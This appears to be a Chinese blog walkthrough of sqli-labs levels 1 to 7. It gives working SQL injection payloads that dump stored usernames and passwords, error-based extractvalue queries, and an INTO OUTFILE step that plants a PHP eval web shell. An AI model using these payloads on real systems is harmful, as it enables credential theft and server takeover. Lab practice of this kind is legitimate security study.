sqlilabs 1-10

Less-1

  • 判断是否存在注入

    http://sql/Less-1/?id=1'
    

根据报错信息,说明是字符型注入,闭合方式为’

  • 猜字段的数量,根据我们传入id最终查询到结果的列数

    ?id=1'order by 3--+  正常
    ?id=1'order by 4--+  报错
    

    说明字段数为3

  • 报显示位,id必须是查询不到的数据
    ?id=-1' union select 1,2,3--+

    显示2,3位

  • 查询详细信息
    ?id=-1' union select 1,concat_ws('~',database(),version(),user()),3--+
    当前数据库,数据库版本,当前用户

  • 查询具体

    • 数据库 ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    • 查询数据库对应表
      ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    • 查询表中的列?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

    • 查数据
      ?id=-1' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from security.users --+

Less-2

数字型注入

?id=-1 union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users --+

Less-3

字符型注入,闭合方式’)

?id=-1') union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users --+

Less-4

字符型注入,闭合方式")

?id=-1") union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users --+

Less-5

回显始终是"You are in…",可采用报错注入

输入单引号测试,字符型注入,闭合方式'

  • 爆表名

    ?id=' and (select extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database()))))--+

    报错Subquery returns more than 1 row 可以加上limit来截取

    ?id=' and (select extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))))--+

    改变参数,爆出所有表

  • 爆字段

  • 爆数据

    ?id=' and (select extractvalue(1,concat('~',(select concat_ws('~',id,password) from users limit 0,1))))--+

Less-6

双引号闭合,操作同Less-5

Less-7

?id=1由回显结果提示知使用outfile函数

判断注入点,'))'闭合

首先通过前面的关卡查出数据库相关参数/Less-1/?id=-1' union select 1,@@datadir,@@secure_file_priv --+

在mysql配置文件内加入secure_file_priv=""

写入一句话木马

?id=')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "E:/phpstudy_pro/www/sqli/Less-7/2.php" --+

可以看到,在目标目录下有了2.php的文件,使用蚁剑连接

Less-8

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

伍_玖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值